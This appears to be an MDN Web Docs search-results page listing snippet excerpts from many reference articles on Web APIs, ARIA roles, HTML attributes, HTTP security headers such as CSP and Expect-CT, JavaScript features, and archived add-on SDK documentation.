... opening the browser console you can open the browser console in one of two ways: from the menu: select "browser console" from the web developer submenu in the firefox menu (or tools menu if you display the menu bar or are on macos).
...And 10 more matches
AudioNode - Web APIs
WebAPIAudioNode
a filter like biquadfilternode or convolvernode), or volume control (like gainnode) <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monos...
...s/web/api/audionode" target="_top"><rect x="151" y="1" width="90" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="196" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">audionode</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} note: an audionode can be target of events, therefore it implements the eventtarget interface.
...this graph is contained in an audiocontext, and each audio node can only belong to one audio context.
...And 10 more matches
BaseAudioContext.decodeAudioData() - Web APIs
in this case the arraybuffer is loaded from xmlhttprequest and filereader.
... the decoded audiobuffer is resampled to the audiocontext's sampling rate, then passed to a callback or promise.
... syntax older callback syntax: baseaudiocontext.decodeaudiodata(arraybuffer, successcallback, errorcallback); newer promise-based syntax: promise<decodeddata> baseaudiocontext.decodeaudiodata(arraybuffer); parameters arraybuffer an arraybuffer containing the audio data to be decoded, usually grabbed from xmlhttprequest, windoworworkerglobalscope.fetch() or filereader.
...And 10 more matches
Compositing example - Web APIs
var canvas1 = document.createelement("canvas"); var canvas2 = document.createelement("canvas"); var gco = [ 'source-over','source-in','source-out','source-atop', 'destination-over','destination-in','destination-out','destination-atop', 'lighter', 'copy','xor', 'multiply', 'screen', 'overlay', 'darken', 'lighten', 'color-dodge', 'color-burn', 'hard-light', 'soft-light', 'difference', 'exclusion', 'hue', 'saturation', 'color', 'luminosity' ].reverse(); var gcotext = [ 'this is the default setting and draws new shapes on top of the existing canvas c...
...ontent.', 'the new shape is drawn only where both the new shape and the destination canvas overlap.
... everything else is made transparent.', 'the new shape is drawn where it doesn\'t overlap the existing canvas content.', 'the new shape is only drawn where it overlaps the existing canvas content.', 'new shapes are drawn behind the existing canvas content.', 'the existing canvas content is kept where both the new shape and existing canvas content overlap.
...And 10 more matches
Document.getElementById() - Web APIs
if you need to get access to an element which doesn't have an id, you can use queryselector() to find the element using any selector.
... syntax var element = document.getelementbyid(id); parameters id the id of the element to locate.
... the id is case-sensitive string which is unique within the document; only one element may have any given id.
...And 10 more matches
Document.querySelectorAll() - Web APIs
see locating dom elements using selectors for more information about using selectors to identify elements.
... note: characters which are not part of standard css syntax must be escaped using a backslash character.
... since javascript also uses backslash escaping, special care must be taken when writing string literals using these characters.
...And 10 more matches
Element.querySelectorAll() - Web APIs
the element method queryselectorall() returns a static (not live) nodelist representing a list of elements matching the specified group of selectors which are descendants of the element on which the method was called.
...see locating dom elements using selectors for more information about using selectors to identify elements.
... note: characters which are not part of standard css syntax must be escaped using a backslash character.
...And 10 more matches
Event.initEvent() - Web APIs
WebAPIEventinitEvent
this method must be called to set the event before it is dispatched, using eventtarget.dispatchevent().
... do not use this method anymore as it is deprecated.
... syntax event.initevent(type, bubbles, cancelable); type is a domstring defining the type of event.
...And 10 more matches
FileError - Web APIs
WebAPIFileError
note: this interface is obsolete per the latest specification.
... fileerror objects are passed to error callbacks.
... error callbacks are not optional for your sanity although error callbacks are optional, you should include them in the arguments of the methods for the sake of the sanity of your users.
...And 10 more matches
FileSystemDirectoryEntry - Web APIs
basic concepts you can create a new directory by calling getdirectory().
... example in the following code snippet, we create a directory called "documents." // taking care of the browser-specific prefixes.
... createreader() creates a filesystemdirectoryreader object which can be used to read the entries in this directory.
...And 10 more matches
FileSystemFlags - Web APIs
the filesystemflags dictionary defines a set of values which are used when specifying option flags when calling certain methods in the file and directory entries api.
... methods which accept an options parameter of this type may specify zero or more of these flags as fields in an object, like this: datadirectoryentry.getdirectory("workspace", { create: true }, function(entry) { }); here, we see that the create property is provided, with a value of true, indicating that the directory should be created if it's not already there.
... note that these option flags currently don't have any useful meaning when used in the scope of web content, where security precautions prevent the creation of new files or the replacement of existing ones.
...And 10 more matches
HTMLMediaElement.play() - Web APIs
return value a promise which is resolved when playback has been started, or is rejected if for any reason playback cannot be started.
... exceptions the promise's rejection handler is called with an exception name passed in as its sole input parameter (as opposed to a traditional exception being thrown).
... usage notes although the term "autoplay" is usually thought of as referring to pages that immediately begin playing media upon being loaded, web browsers' autoplay policies also apply to any script-initiated playback of media, including calls to play().
...And 10 more matches
HTMLObjectElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fi...
... htmlobjectelement.align is a domstring representing an enumerated property indicating alignment of the element's contents with respect to the surrounding context.
... htmlobjectelement.declare is a boolean that reflects the declare html attribute, indicating that this is a declaration, not an instantiation, of the object.
...And 10 more matches
HTMLTableRowElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-ba...
...it indicates the alignment of the element's contents with respect to the surrounding context.
...the htmlcollection is live and is automatically updated when cells are added or removed.
...And 10 more matches
IDBObjectStore.createIndex() - Web APIs
bear in mind that indexeddb indexes can contain any javascript data type; indexeddb uses the structured clone algorithm to serialize stored objects, which allows for storage of simple and complex objects.
... note that this method must be called only from a versionchange transaction mode callback.
... objectparameters optional an idbindexparameters object, which can include the following properties: attribute description unique if true, the index will not allow duplicate values for a single key.
...And 10 more matches
IDBObjectStoreSync - Web APIs
important: the synchronous version of the indexeddb api was originally intended for use only with web workers, and was eventually removed from the spec because its need was questionable.
...if this attribute is set to null, then the application must provide a key for each modification operation.
... constants mode constants constant value description read_only 1 modification operations are not allowed on this object store.
...And 10 more matches
KeyboardEvent.getModifierState() - Web APIs
this is case-sensitive.
...ows linux (gtk) mac android 2.3 android 3.0 or latter "alt" either alt key or altgr key pressed alt key pressed ⌥ option key pressed alt key or option key pressed "altgraph" both alt and ctrl keys are pressed, or altgr key is pressed level 3 shift key (or level 5 shift key ) pressed ⌥ option key pressed not supported "capslock" during led for ⇪ caps lock turned on not supported while capslock is locked "control" either ctrl key or altgr key pressed ctrl key pressed control key pressed menu key pressed.
...fn key on mac keyboard doesn't cause this active.
...And 10 more matches
MediaTrackSettings.facingMode - Web APIs
the mediatracksettings dictionary's facingmode property is a domstring indicating the direction in which the camera producing the video track represented by the mediastreamtrack is currently facing.
... this lets you determine what value was selected to comply with your specified constraints for this property's value as described in the mediatrackconstraints.facingmode property you provided when calling either getusermedia() or mediastreamtrack.applyconstraints().
... if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.facingmode as returned by a call to mediadevices.getsupportedconstraints().
...And 10 more matches
MediaTrackSettings.groupId - Web APIs
this lets you determine what value was selected to comply with your specified constraints for this property's value as described in the mediatrackconstraints.groupid property you provided when calling either getusermedia().
... if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.groupid as returned by a call to mediadevices.getsupportedconstraints().
... however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
...And 10 more matches
MutationObserver.MutationObserver() - Web APIs
the dom mutationobserver() constructor — part of the mutationobserver interface — creates and returns a new observer which invokes a specified callback when dom events occur.
... dom observation does not begin immediately; the observe() method must be called first to establish which portion of the dom to watch and what kinds of changes to watch for.
... syntax const observer = new mutationobserver(callback) parameters callback a function which will be called on each dom change that qualifies given the observed node or subtree and options.
...And 10 more matches
MutationObserver.observe() - Web APIs
the mutationobserver method observe() configures the mutationobserver callback to begin receiving notifications of changes to the dom that match the given options.
... to stop the mutationobserver (so that none of its callbacks will be triggered any longer), call mutationobserver.disconnect().
... options a mutationobserverinit object providing options that describe which dom mutations should be reported to mutationobserver’s callback.
...And 10 more matches
Navigator.getUserMedia() - Web APIs
the deprecated navigator.getusermedia() method prompts the user for permission to use up to one video input device (such as a camera or shared screen) and up to one audio input device (such as a microphone) as the source for a mediastream.
... if permission is granted, a mediastream whose video and/or audio tracks come from those devices is delivered to the specified success callback.
... if permission is denied, no compatible input devices exist, or any other error condition occurs, the error callback is executed with a mediastreamerror object describing what went wrong.
...And 10 more matches
Page Visibility API - Web APIs
the page visibility api provides events you can watch for to know when a document becomes visible or hidden, as well as features to look at the current visibility state of the page.
...you can detect the event and perform some actions or behave differently.
... for example, if your web app is playing a video, it can pause the video when the user puts the tab into the background, and resume playback when the user returns to the tab.
...And 10 more matches
PublicKeyCredentialRequestOptions.extensions - Web APIs
extensions are values requesting additional processing by the client and by the authenticator.
... for instance, extensions may be used for: backward compatibility with the legacy fido js api, knowing the user verification process, etc.
...this text is displayed on a prompt of the authenticator before verifying the user or testing their presence.
...And 10 more matches
RTCInboundRtpStreamStats.qpSum - Web APIs
syntax var qpsum = rtcinboundrtpstreamstats.qpsum; value an unsigned 64-bit integer value which indicates the sum of the quantization parameter (qp) value for every frame sent or received so far on the track described by the rtcinboundrtpstreamstats object.
... since the value of qp is typically larger to indicate higher compression factors, the larger this sum is, the more heavily compressed the stream generally has been.
...the quantization process and the amount of compression can be controlled using one or more parameters.
...And 10 more matches
RTCOutboundRtpStreamStats.qpSum - Web APIs
syntax var qpsum = rtcoutboundrtpstreamstats.qpsum; value an unsigned 64-bit integer value which indicates the sum of the quantization parameter (qp) value for every frame sent so far on the track described by the rtcoutboundrtpstreamstats object.
... since the value of qp is typically larger to indicate higher compression factors, the larger this sum is, the more heavily compressed the stream generally has been.
...the quantization process and the amount of compression can be controlled using one or more parameters.
...And 10 more matches
RTCRtpSender.replaceTrack() - Web APIs
among the use cases for replacetrack() is the common need to switch between the rear- and front-facing cameras on a phone.
... with replacetrack(), you can simply have a track object for each camera and switch between the two as needed.
... see the example switching cameras below.
...And 10 more matches
Range - Web APIs
WebAPIRange
the range interface represents a fragment of a document that can contain nodes and parts of text nodes.
... a range can be created by using the document.createrange() method.
... range objects can also be retrieved by using the getrangeat() method of the selection object or the caretrangefrompoint() method of the document object.
...And 10 more matches
WebGLRenderingContext.bufferData() - Web APIs
possible values: gl.static_draw: the contents are intended to be specified once by the application, and used many times as the source for webgl drawing and image specification commands.
... gl.dynamic_draw: the contents are intended to be respecified repeatedly by the application, and used many times as the source for webgl drawing and image specification commands.
... gl.stream_draw: the contents are intended to be specified once by the application, and used at most a few times as the source for webgl drawing and image specification commands.
...And 10 more matches
WebXR performance guide - Web APIs
webxr applications involve multiple technologies which can be highly sensitive to performance constraints.
... as such, you may find yourself needing to make adjustments or compromises to optimize the performance of your webxr application to be as usable as possible on the broadest assortment of target devices.
... can probably also include stuff from https://github.com/immersive-web/webxr/blob/master/explainer.md#changing-the-field-of-view-for-inline-sessions managing rendering quality ...
...And 10 more matches
Controlling multiple parameters with ConstantSourceNode - Web APIs
this article demonstrates how to use a constantsourcenode to link multiple parameters together so they share the same value, which can be changed by simply setting the value of the constantsourcenode.offset parameter.
...the constantsourcenode can have as many outputs as necessary; in this case, we've connected it to three nodes: two gainnodes and a stereopannernode.
...�️ </div> </div> <div class="right"> <span>volume: </span> <input type="range" min="0.0" max="1.0" step="0.01" value="0.8" name="volume" id="volumecontrol"> </div> </div> <p>use the button above to start and stop the tones, and the volume control to change the volume of the notes e and g in the chord.</p> css .controls { width: 400px; position: relative; vertical-align: middle; height: 44px; } .button { font-size: 32px; cursor: pointer; user-select: none; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; -o-user-select: none; } .right { width: 50%; font: 14px "open sans", "lucida grande", "arial", sans-serif; position: absolute; right: 0; display: table-cell; vertical-align: middle; } .right span { ...
...And 10 more matches
Worker - Web APIs
WebAPIWorker
the worker interface of the web workers api represents a background task that can be created via script, which can send messages back to its creator.
... creating a worker is done by calling the worker("path/to/worker/script") constructor.
...workers may use xmlhttprequest for network communication, but its responsexml and channel attributes are always null.
...And 10 more matches
XRPermissionDescriptor.optionalFeatures - Web APIs
the xrpermissiondescriptor dictionary's optionalfeatures property is used to specify a list of webxr features which your app or site would like to use but can operate without if permission isn't granted to use them.
... syntax xrpermissiondescriptor = { mode: xrsessionmode, requiredfeatures: reqfeaturelist, optionalfeatures: optfeaturelist }; xrpermissiondescriptor.optionalfeatures = optfeaturelist; optfeaturelist = xrpermissiondescriptor.optionalfeatures; value an array of strings taken from the xrreferencespacetype enumerated type, indicating set of features that your app would like to use, but can operate without if permission to use them isn't available.
... while further features may be defined in future editions of webxr, currently all permitted values come from the xrreferencespacetype enumerated type, indicating reference spaces the app rquires to be available.
...And 10 more matches
Using the alert role - Accessibility
the alert role is used to communicate an important and usually time-sensitive message to the user.
... when this role is added to an element, the browser will send out an accessible alert event to assistive technology products which can then notify the user about it.
... the alert role is most useful for information that requires the user's immediate attention, for example: an invalid value was entered into a form field the user's login session is about to expire the connection to the server was lost, local changes will not be saved because of its intrusive nature, the alert role must be used sparingly and only in situations where the user's immediate attention is required.
...And 10 more matches
ARIA: timer role - Accessibility
the timer role indicates to assistive technologies that an element is a numerical counter listing the amount of elapsed time from a starting point or the remaining time until an end point.
... description the timer role indicates to assistive technologies that this part of the web content is a live region containing a timer listing the time remaining or elapsed time.
... aria-describedby used to indicate the idref of an element that contains additional instructions for navigating or operating this element.
...And 10 more matches
ARIA: heading role - Accessibility
to give the page more structure, a level should also be provided to indicate relationships between sections.
... <div role="heading" aria-level="1">this is a main page heading</div> this defines the text in the div to be the main heading of the page, indicated by being level 1 via the aria-level attribute.
... description the heading role indicates to assistive technologies that this element should be treated like a heading.
...And 10 more matches
ARIA: textbox role - Accessibility
description when an element has the textbox role, the browser sends an accessible textbox event to assistive technologies, which can then notify the user about it.
... the default is a single line input, in which return or enter submits the form; in this case, it is preferable to use an html <input> with type="text".
... <label for="txtbox">enter your five-digit zipcode</label> <input type="text" placeholder="5-digit zipcode" id="txtbox"/> <!-- multi-line text area --> <label for="txtboxmultiline">enter the tags for the article</label> <textarea id="txtboxmultiline" required></textarea> where a text field is read-only, indicated this by setting aria-readonly="true" on the element.
...And 10 more matches
Accessibility
accessibility means developing content to be as accessible as possible no matter an individual's physical and cognitive abilities and no matter how they access the web.
... "the web is fundamentally designed to work for all people, whatever their hardware, software, language, culture, location, or physical or mental ability.
... this article starts off the module with a good look at what accessibility actually is — this includes what groups of people we need to consider and why, what tools different people use to interact with the web, and how we can make accessibility part of our web development workflow.
...And 10 more matches
HTML attribute: accept - HTML: Hypertext Markup Language
because a given file type may be identified in more than one manner, it's useful to provide a thorough set of type specifiers when you need files of specific type, or use the wild card to denote a type of any format is acceptable.
... for instance, there are a number of ways microsoft word files can be identified, so a site that accepts word files might use an <input> like this: <input type="file" id="docpicker" accept=".doc,.docx,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document"> whereas if you're accepting a media file, you may want to be include any format of that media type: <input type="file" id="soundfile" accept="audio/*"> <input type="file" id="videofile" accept="video/*"> <input type="file" id="imagefile" accept="image/*"> the accept attribute doesn't validate the types of the selected files; it simply provides hints for browsers to guide users towards selecting the correct file types.
... it is still possible (in most cases) for users to toggle an option in the file chooser that makes it possible to override this and select any file they wish, and then choose incorrect file types.
...And 10 more matches
HTML attribute: readonly - HTML: Hypertext Markup Language
the boolean readonly attribute, when present, makes the element not mutable, meaning the user can not edit the control.
... if the readonly attribute is specified on an input element, because the user can not edit the input, the element does not participate in constraint validation.
... the readonly attribute is supported by text, search, url, tel, email, password, date, month, week, time, datetime-local, and number<input> types and the <textarea> form control elements.
...And 10 more matches
HTML attribute: required - HTML: Hypertext Markup Language
the boolean required attribute which, if present, indicates that the user must specify a value for the input before the owning form can be submitted.
... the required attribute is supported by text, search, url, tel, email, password, date, month, week, time, datetime-local, number, checkbox, radio, file, <input> types along with the <select> and <textarea> form control elements.
...it is also not supported on hidden as it can not be expected that a user to fill out a form that is hidden.
...And 10 more matches
<h1>–<h6>: The HTML Section Heading elements - HTML: Hypertext Markup Language
content categories flow content, heading content, palpable content.
... permitted parents any element that accepts flow content; don't use a heading element as a child of the <hgroup> element — it is now deprecated.
... usage notes heading information may be used by user agents, for example, to construct a table of contents for a document automatically.
...And 10 more matches
<command>: The HTML Command element - HTML: Hypertext Markup Language
WebHTMLElementcommand
the html command element (<command>) represents a command which the user can invoke.
...however, they can be used anywhere on the page.
... the <command> element is included in the w3c specification, but not in the whatwg specification, and browser support is nonexistent.
...And 10 more matches
<menuitem> - HTML: Hypertext Markup Language
WebHTMLElementmenuitem
a command can either be defined explicitly, with a textual label and optional icon to describe its appearance, or alternatively as an indirect command whose behavior is defined by a separate element.
... commands can also optionally include a checkbox or be grouped to share radio buttons.
... (menu items for indirect commands gain checkboxes or radio buttons when defined against elements <input type="checkbox"> and <input type="radio">.) content categories none.
...And 10 more matches
<sub>: The Subscript element - HTML: Hypertext Markup Language
WebHTMLElementsub
the html subscript element (<sub>) specifies inline text which should be displayed as subscript for solely typographical reasons.
... subscripts are typically rendered with a lowered baseline using smaller text.
... content categories flow content, phrasing content, palpable content.
...And 10 more matches
<tfoot>: The Table Foot element - HTML: Hypertext Markup Language
WebHTMLElementtfoot
content categories none.
...the <tfoot> must appear after any <caption>, <colgroup>, <thead>, <tbody>, or <tr> element.
... html 4 the <tfoot> element cannot be placed after any <tbody> and <tr> element.
...And 10 more matches
accesskey - HTML: Hypertext Markup Language
the attribute value must consist of a single printable character (which includes accented and other characters that can be generated by the keyboard).
... note: in the whatwg spec, it says you can specify multiple space-separated characters, and the browser will use the first one it supports.
...r: control + key internet explorer alt + key alt + shift + key n/a edge n/a control + option + key control + option + shift + key google chrome alt + shift + key safari n/a opera 15+ alt + key control + alt + key opera 12 shift + esc opens a contents list which are accessible by accesskey, then, can choose an item by pressing key accessibility concerns in addition to poor browser support, there are numerous concerns with the accesskey attribute: an accesskey value can conflict with a system or browser keyboard shortcut, or assistive technology functionality.
...And 10 more matches
Feature Policy - HTTP
these policies restrict what apis the site can access or modify the browser's default behavior for certain features.
... examples of what you can do with feature policy: change the default behavior of autoplay on mobile and third party videos.
... restrict a site from using sensitive apis like camera or microphone.
...And 10 more matches
CSP: base-uri - HTTP
the http content-security-policy base-uri directive restricts the urls which can be used in a document's <base> element.
... syntax one or more sources can be allowed for the base-uri policy: content-security-policy: base-uri <source>; content-security-policy: base-uri <source> <source>; sources while this directive uses the same arguments as other csp directives, some of them don’t make sense for `<base>`, such as the keywords 'unsafe-inline' and 'strict-dynamic' <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
... the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source.
...And 10 more matches
CSP: connect-src - HTTP
the http content-security-policy (csp) connect-src directive restricts the urls which can be loaded using script interfaces.
... syntax one or more sources can be allowed for the connect-src policy: content-security-policy: connect-src <source>; content-security-policy: connect-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
... the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source.
...And 10 more matches
CSP: frame-src - HTTP
syntax one or more sources can be allowed for the frame-src policy: content-security-policy: frame-src <source>; content-security-policy: frame-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
... the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source.
...you can also specify data schemas (not recommended).
...And 10 more matches
Expect-CT - HTTP
the expect-ct header lets sites opt in to reporting and/or enforcement of certificate transparency requirements, to prevent the use of misissued certificates for that site from going unnoticed.
... ct requirements can be satisfied via any one of the following mechanisms: x.509v3 certificate extension to allow embedding of signed certificate timestamps issued by individual logs a tls extension of type signed_certificate_timestamp sent during the handshake supporting ocsp stapling (that is, the status_request tls extension) and providing a signedcertificatetimestamplist when a site enables the expect-ct header, they are requesting that the browser check that any certificate for that site appears in public ct logs.
...since may 2018 new certificates are expected to support scts by default.
...And 10 more matches
Feature-Policy - HTTP
camera controls whether the current document is allowed to use video input devices.
... display-capture controls whether or not the current document is permitted to use the getdisplaymedia() method to capture screen contents.
... when this policy is disabled, the promise returned by getdisplaymedia() will reject with a notallowederror if permission is not obtained to capture the display's contents.
...And 10 more matches
Assertions - JavaScript
assertions include boundaries, which indicate the beginnings and endings of lines and words, and other patterns indicating in some way that a match is possible (including look-ahead, look-behind, and conditional expressions).
... types the following section is also duplicated on this cheatsheet.
... /oo\b/ does not match the "oo" in "moon", because "oo" is followed by "n" which is a word character.
...And 10 more matches
InternalError: too much recursion - JavaScript
the javascript exception "too much recursion" or "maximum call stack size exceeded" occurs when there are too many function calls, or a function is missing a base case.
... message error: out of stack space (edge) internalerror: too much recursion (firefox) rangeerror: maximum call stack size exceeded (chrome) error type internalerror.
... a function that calls itself is called a recursive function.
...And 10 more matches
Array.from() - JavaScript
mapfn optional map function to call on every element of the array.
... this is especially important for certain array subclasses, like typed arrays, since the intermediate array would necessarily have values truncated to fit into the appropriate type.
... you can work around this by inserting the following code at the beginning of your scripts, allowing use of array.from() in implementations that don't natively support it.
...And 10 more matches
BigInt - JavaScript
bigint is a built-in object that provides a way to represent whole numbers larger than 253 - 1, which is the largest number javascript can reliably represent with the number primitive and represented by the number.max_safe_integer constant.
... bigint can be used for arbitrarily large integers.
... description a bigint is created by appending n to the end of an integer literal — 10n — or by calling the function bigint().
...And 10 more matches
Intl.DateTimeFormat - JavaScript
static methods intl.datetimeformat.supportedlocalesof() returns an array containing those of the provided locales that are supported without having to fall back to the runtime's default locale.
... instance methods intl.datetimeformat.prototype.format() getter function that formats a date according to the locale and formatting options of this datetimeformat object.
... intl.datetimeformat.prototype.formattoparts() returns an array of objects representing the date string in parts that can be used for custom locale-aware formatting.
...And 10 more matches
Nullish coalescing operator (??) - JavaScript
the nullish coalescing operator (??) is a logical operator that returns its right-hand side operand when its left-hand side operand is null or undefined, and otherwise returns its left-hand side operand.
... contrary to the logical or (||) operator, the left operand is returned if it is a falsy value which is not null or undefined.
...0; console.log(vala); // "default for a" console.log(valb); // "" (as the empty string is not null or undefined) console.log(valc); // 42 assigning a default value to a variable earlier, when one wanted to assign a default value to a variable, a common pattern was to use the logical or operator (||): let foo; // foo is never assigned any value so it is still undefined let somedummytext = foo || 'hello!'; however, due to || being a boolean logical operator, the left hand-side operand was coerced to a boolean for the evaluation and any falsy value (0, '', nan, null, undefined) was not returned.
...And 10 more matches
Operator precedence - JavaScript
observe how multiplication has higher precedence than addition and executed first, even though addition is written first in the code.
... console.log(3 + 10 * 2); // logs 23 console.log(3 + (10 * 2)); // logs 23 because parentheses here are superfluous console.log((3 + 10) * 2); // logs 26 because the parentheses change the order left-associativity (left-to-right) means that it is processed as (a op1 b) op2 c, while right-associativity (right-to-left) means it is interpreted as a op1 (b op2 c).
... assignment operators are right-associative, so you can write: a = b = 5; // same as writing a = (b = 5); with the expected result that a and b get the value 5.
...And 10 more matches
Function expression - JavaScript
the function keyword can be used to define a function inside an expression.
... you can also define functions using the function constructor and a function declaration.
... function [name]([param1[, param2[, ..., paramn]]]) { statements } as of es2015, you can also use arrow functions.
...And 10 more matches
for...of - JavaScript
examples iterating over an array const iterable = [10, 20, 30]; for (const value of iterable) { console.log(value); } // 10 // 20 // 30 you can use let instead of const too, if you reassign the variable inside the block.
...= new map([['a', 1], ['b', 2], ['c', 3]]); for (const entry of iterable) { console.log(entry); } // ['a', 1] // ['b', 2] // ['c', 3] for (const [key, value] of iterable) { console.log(value); } // 1 // 2 // 3 iterating over a set const iterable = new set([1, 1, 2, 2, 3, 3]); for (const value of iterable) { console.log(value); } // 1 // 2 // 3 iterating over the arguments object you can iterate over the arguments object to examine all of the parameters passed into a javascript function: (function() { for (const argument of arguments) { console.log(argument); } })(1, 2, 3); // 1 // 2 // 3 iterating over a dom collection iterating over dom collections like nodelist: the following example adds a read class to paragraphs that are direct descendants of an article: // no...
...te: this will only work in platforms that have // implemented nodelist.prototype[symbol.iterator] const articleparagraphs = document.queryselectorall('article > p'); for (const paragraph of articleparagraphs) { paragraph.classlist.add('read'); } closing iterators in for...of loops, abrupt iteration termination can be caused by break, throw or return.
...And 10 more matches
<mtable> - MathML
WebMathMLElementmtable
attributes align specifies the vertical alignment of the table with respect to its environment.
... possible values are: axis (default): the vertical center of the table aligns on the environment's axis (typically the minus sign).
... baseline: the vertical center of the table aligns on the environment's baseline.
...And 10 more matches
CSS and JavaScript animation performance - Web Performance
animations are critical for a pleasurable user experience on many applications.
... css transitions and animations both css transitions and animations can be used to write animation.
...css animations consist of two components: a style describing the css animation, and a set of key frames that indicate the start and end states of the animation's style, as well as possible intermediate points.
...And 10 more matches
Understanding latency - Web Performance
in terms of performance optimization, it's important to optimize to reduce causes of lacency and to test site performance emulating high latency to optimizer for users with lousy connections.
... on a first request, for the first 14kb bytes, latency is longer because it includes a dns lookup, a tcp handshake, the secure tls negotiation.
... subsequent requests will have less latency because the connection to the server is already set.
...And 10 more matches
Using shadow DOM - Web Components
an important aspect of web components is encapsulation — being able to keep the markup structure, style, and behavior hidden and separate from other code on the page so that different parts do not clash, and the code can be kept nice and clean.
... high-level view this article assumes you are already familiar with the concept of the dom (document object model) — a tree-like structure of connected nodes that represents the different elements and strings of text appearing in a markup document (usually an html document in the case of web documents).
... arms, and a large head with lots of sharp teeth."> <p>here we will add a link to the <a href="https://www.mozilla.org/">mozilla homepage</a></p> </section> </body> </html> this fragment produces the following dom structure: shadow dom allows hidden dom trees to be attached to elements in the regular dom tree — this shadow dom tree starts with a shadow root, underneath which can be attached to any elements you want, in the same way as the normal dom.
...And 10 more matches
Compiling a New C/C++ Module to WebAssembly - WebAssembly
when you’ve written a new code module in a language like c/c++, you can compile it into webassembly using a tool like emscripten.
... creating html and javascript this is the simplest case we'll look at, whereby you get emscripten to generate everything you need to run your code, as webassembly, in the browser.
...take a copy of the following simple c example, and save it in a file called hello.c in a new directory on your local drive: #include <stdio.h> int main(int argc, char ** argv) { printf("hello world\n"); } now, using the terminal window you used to enter the emscripten compiler environment, navigate to the same directory as your hello.c file, and run the following command: emcc hello.c -s wasm=1 -o hello.html the options we’ve passed in with the command are as follows: -s wasm=1 — specifies that we want wasm output.
...And 10 more matches
port - Archive of obsolete content
this article documents the port object, which is used to communicate between a content script and the main add-on code.
... it may be called with any number of parameters, but is most likely to be called with a name for the message and an optional payload.
... the payload can be any value that is serializable to json.
...And 9 more matches
Working with Events - Archive of obsolete content
by registering a listener function to an event emitter an add-on can receive notifications of these events.
... additionally, if you're using content scripts to interact with web content, you can define your own events and use them to communicate between the main add-on code and the content scripts.
... in this case one end of the conversation emits the events, and the other end listens to them.
...And 9 more matches
windows - Archive of obsolete content
with this module, you can: enumerate the currently opened browser windows open new browser windows listen for common window events such as open and close private windows if your add-on has not opted into private browsing, then you won't see any private browser windows.
...onverting from a high-level browserwindow to a chrome window, and then back the other way: var { modelfor } = require("sdk/model/core"); var { viewfor } = require("sdk/view/core"); var browserwindows = require("sdk/windows").browserwindows; function converttochromeandback(browserwindow) { // get the chrome window for this browserwindow var chromewindow = viewfor(browserwindow); // now we can use the chrome window api console.log(chromewindow.document.location.href); // -> "chrome://browser/content/browser.xul" // convert back to the high-level window var highlevelwindow = modelfor(chromewindow); // now we can use the sdk's high-level window api console.log(highlevelwindow.title); } browserwindows.on("open", converttochromeandback); note that directly accessing low-lev...
... optional options: name type onopen function a callback function that is called when the window has opened.
...And 9 more matches
cfx to jpm - Archive of obsolete content
the current tool is called jpm, and is based on node.js.
... you can use jpm from firefox 38 onwards.
... activation you need to call cfx activate before you can use cfx, and this only works in the current command shell: if you open a new shell you have to call activate again.
...And 9 more matches
Modifying Web Pages Based on URL - Archive of obsolete content
you can pass a single match-pattern string, or an array.
... use contentscriptfile option instead of contentscript and pass it script url which can be obtained using self.data.url("my-script.js").
... from firefox 34 onwards, you can just use "./my-script.js" instead.
...And 9 more matches
Useful Mozilla Community Sites - Archive of obsolete content
it allows you to upload, search and download all types of add-ons for mozilla applications.
...your extension begins in a sandbox with limited access, and once you nominate it an editor will review it and see if it is appropriate for the public amo site, where everyone can see it and install it.
...you can still get a good number of downloads while being in the sandbox.
...And 9 more matches
Getting the page URL in NPAPI plugin - Archive of obsolete content
there's unfortunately no trivial way to do that, but you can still do it, by asking the browser for the page url during plugin initialization.
... then you can just refuse to do anything, if you don't like the url, or you can compare it with the other url you want to contact.
...which caused the plugin to load?
...And 9 more matches
Making a Mozilla installation modifiable - Archive of obsolete content
xul, xbl, javascript, and css files are all in text format and can be edited in a standard text editor, while image files are in binary gif, jpg, or png format and must be edited with an image editing program.
...because of this, we can modify the files in the archive and see our changes to the ui merely by restarting the application.
